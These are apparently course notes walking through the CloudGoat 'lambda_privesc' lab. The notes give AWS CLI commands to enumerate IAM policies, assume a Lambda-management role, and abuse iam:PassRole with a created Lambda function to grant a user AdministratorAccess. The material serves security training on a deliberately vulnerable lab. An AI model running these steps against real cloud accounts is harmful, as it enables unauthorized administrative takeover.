

- Filename: intro-to-aws-pentesting-4-3-1-lambda-priv-esc.md
- Show Name: Intro to AWS Pentesting
- Topic Name: CloudGoat
- Episode Name: Lambda Priv Esc

Lambda Priv Esc

Objectives:

- Utilize aws pentesting tools, tactics, and procedures to solve the CloudGoat 'Lambda_PrivEsc' challenge
- Perform information gathering through enumeration of policies and permissions
- Utilize improperly set IAM User and Role permissions to exploit Lambda function for administrative access to AWS

-
- What is the scenario?
 - We have keys
 - Create profile
 - Check profile IAM privs
 - User
 - Roles
 - Policies
 - Obviously there is something up with Lambda
 - Where do we begin?
 - Grab username
 - `aws --profile chris sts get-caller-identity`
 - Enumeration of User Policies
 - `iam list-user-policies`
 - Should't return any results
 - `iam list-attached-user-policies`
 - 1 attached user policy
 - *Chris-Policy*
 - Enumerate Roles
 - `iam list-roles`
 - 2 relevant roles
 - Debug-Role
 - LambdaManager
 - Enumerate Role-Policies
 - `iam list-attached-role-policies`
 - Each Role has an attached Policy
 - Debug-Role = *AdministratorAccess* policy
 - LambdaManager = *lambdaManager* policy
 - Enumerate Policies
 - `iam list-policies`
 - **TOO MANY! DON'T RUN THIS COMMAND!**
 - `iam list-role-policies`

- Shouldn't return any results
- So we have 1 attached USER POLICY and 2 attached ROLE POLICIES (1 attached role policy for each role found in `iam list-roles`)
 - Enumerate **ATTACHED USER and ROLE POLICIES**
 - `iam get-policy --policy-arn`
 - View Policy **VERSIONS**
 - `iam get-policy-versions --policy-arn --version-id v1`
- Assume Role Priv Esc
 - Attempt to assume Debug-Role (*AdministratorAccess*)
 - `sts assume-role --role-arn --role-session admin_access`
 - Attempt to assume *lambdaManager* role
 - `sts assume-role --role-arn --role-session lambda_mgr`
 - SUCCESS!
 - Configure a new awscli profile
 - `aws configure --profile lambda_mgr`
 - Don't forget the *aws_session_token*
- More Priv Esc with Lambda and `iam:PassRole`
 - The LambdaManager policy allows for any resource...
 - **Lambda:***
 - **iam:PassRole**
 - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
 - Allows a service to assume a role later and perform actions on your behalf
 - This means we can...
 - Create and Invoke a Lambda Function
 - Function will run as the Lambda Service Role
 - Priv Esc to the Lambda Service Role permissions
- How to create Lamba Function
 - Beyond the scope of this tutorial
 - Lambda Function in Python found in CG cheat sheets
 - Create python script called `lambda_function.py`
 - Slap code in...
 - Don't forget to modify code with Chris' username
 - SAVE...
 - Add to zip file `lambda_function.py.zip`
 - `zip lambda_function.py.zip lambda_function.py`
 - Now use awscli to create the lambda function in AWS
 - `aws --profile lambda_mgr lambda create-function --function-name admin_function --runtime python3.6 --role <role_arn for Debug-Role policy> --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip`
 - Invoke the function
 - `aws --profile lambda_mgr lambda invoke --function-name admin_function output.txt`
 - Should get a 200 status code
- Last step: Confirmation of success
 - Check chris profile for new managed policy

- `aws --profile chris iam list-attached-user-policies --user-name chris-xxxxxx`
 - Should now ~~see~~ *AdministratorAccess* policy